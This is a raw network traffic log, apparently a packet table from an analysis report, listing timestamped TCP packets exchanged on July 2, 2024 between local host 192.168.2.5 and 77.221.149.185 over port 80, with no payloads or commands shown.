Jul 2, 2024 22:52:30.278476954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278486013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278487921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.278495073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278503895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278522015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.278537989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.278604031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278614044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278624058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278628111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278666973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.278712988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278723001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278732061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278742075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278784037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.278821945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278861046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278871059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278881073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.278899908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.278908968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.279000044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.279009104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.279020071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.279028893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.279038906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.279047966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.279055119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.279057980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.279068947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.279109955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.282099962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282111883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282124996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282134056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282145023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282155991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282155991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.282166004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282197952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.282229900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282243013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282252073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282262087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282272100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282277107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.282282114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282289982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.282300949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.282320023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284298897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284308910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284313917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284369946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284418106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284430981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284441948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284467936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284497976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284503937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284512997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284523010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284533024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284543991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284548998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284575939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284612894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284621954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284632921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284641027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284650087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284657001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284683943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284689903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284764051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284774065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284784079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284794092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284805059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284813881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.284815073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284821987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.284868002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.364406109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364586115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364594936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364623070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.364685059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364695072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364703894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364713907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364722013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.364723921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364753962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.364773989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.364923954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364933968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364944935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364954948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364964962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.364969015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.364996910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365010977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365109921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365118980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365128994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365139008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365149975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365150928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365159988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365170002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365175962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365204096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365319014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365329027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365339041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365350008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365362883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365400076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365468025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365477085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365485907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365495920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365505934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365509987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365514994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365525961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365535021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365541935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365545034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365555048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365565062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365571976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365575075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365585089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.365597010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365607977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.365623951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.366024017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.366033077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.366043091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.366051912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.366075993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.366102934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.366813898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.366863966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.366873980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.366909981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.366987944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367055893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367065907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367080927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367090940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367100000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367120028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367134094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367165089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367175102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367185116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367194891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367204905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367233992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367394924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367404938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367449999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367450953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367461920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367470980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367480040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367495060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367522955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367563963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367578030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367588043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367597103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367605925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367615938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367634058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367656946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367659092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367667913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367677927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367686033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367697001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367718935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367744923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367885113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367893934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367898941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367903948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367908955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367919922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367928028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367929935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.367952108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.367978096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.370661974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370822906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370831966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370841980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370866060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370871067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.370876074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370886087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370894909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370904922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370906115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.370923996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.370944977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.370968103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370978117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.370999098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.371014118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.371018887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.371025085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.371035099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.371037960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.371067047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.373326063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373337030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373352051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373361111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373369932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.373400927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.373492956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373539925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.373617887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373627901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373637915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373663902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.373790979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373801947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373811960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373821020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.373832941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.373862982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.379489899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.379504919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.379518986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.379559994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.379559994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.379641056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.379651070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.379658937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.379668951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.379679918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.379714966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.379787922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.379798889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.379837990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.454813957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.454840899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.454852104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.454860926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.454879999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.454889059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.454890013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.454900026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.454910994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.454917908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.454935074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.454948902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.454993963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455003977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455013990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455024004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455034971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455038071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455044031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455060959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455075979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455229998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455240965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455250025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455260038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455270052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455280066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455286026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455288887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455298901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455308914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455308914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455332994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455348015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455478907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455492020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455502033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455513000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455522060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455529928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455538988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455584049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455708981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455718040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455729008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455739021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455749035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455763102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455790043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455852985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455863953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455873966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455883026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455893993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455899000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455903053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455914974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.455916882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455939054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.455969095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.456100941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.456110954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.456149101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.457581997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.457592010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.457602024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.457631111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.457808018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.457818985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.457828999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.457839012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.457854033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.457885981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.458112001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.458121061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.458133936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.458148956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.458173990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.458230019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.458245039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.458256006 CEST	80	49712	77.221.149.185	192.168.2.5
